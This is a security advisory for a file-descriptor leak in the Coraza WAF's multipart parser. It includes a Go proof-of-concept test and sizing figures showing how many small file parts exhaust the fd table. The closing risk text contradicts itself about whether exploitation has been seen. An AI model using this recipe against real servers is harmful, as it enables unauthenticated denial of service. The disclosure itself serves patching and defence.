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GHSA-rp9v-7xv3-r6g3
Summary
defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.
Details
internal/bodyprocessors/multipart.go, line 69:
for {
p, err := mr.NextPart()
// ...
temp, err := os.CreateTemp(storagePath, "crzmp*")
defer temp.Close() // wrong scope
io.Copy(temp, p)
}
Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.
The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.
Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.
PoC
Tested on v3.7.0 (db9850b), Go 1.25, Linux x86_64.
Add this file at internal/bodyprocessors/poc_fd_test.go and run:
go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"fmt"
"os"
"strings"
"sync"
"sync/atomic"
"testing"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func countFDs() int {
e, _ := os.ReadDir("/proc/self/fd")
return len(e)
}
func TestMultipartFDLeak(t *testing.T) {
boundary := "testboundary"
var sb strings.Builder
for i := 0; i < 500; i++ {
fmt.Fprintf(&sb, "--%s\r\n", boundary)
fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
sb.WriteString("\r\n")
sb.WriteString("X\r\n")
}
fmt.Fprintf(&sb, "--%s--\r\n", boundary)
mp, _ := bodyprocessors.GetBodyProcessor("multipart")
baseline := countFDs()
var peak int64
done := make(chan struct{})
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
n := int64(countFDs())
for {
cur := atomic.LoadInt64(&peak)
if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
break
}
}
}
}
}()
v := corazawaf.NewTransactionVariables()
mp.ProcessRequest(strings.NewReader(sb.String()), v,
plugintypes.BodyProcessorOptions{
Mime: "multipart/form-data; boundary=" + boundary,
StoragePath: t.TempDir(),
})
close(done)
wg.Wait()
t.Logf("baseline=%d peak=%d spike=+%d",
baseline, atomic.LoadInt64(&peak),
atomic.LoadInt64(&peak)-int64(baseline))
}
Output:
baseline=7 peak=506 spike=+499
The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.
Impact
- No authentication required. Any endpoint that accepts multipart uploads is affected.
- fd exhaustion at ~6.8MB body (~65k parts).
os.CreateTempstarts returning errors andMULTIPART_STRICT_ERRORis set to 1. - CRS false positives / DoS. With CRS loaded, rule
200001then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
- Scope. Affects all v3.x releases; the
deferhas been present since the multipart processor was introduced.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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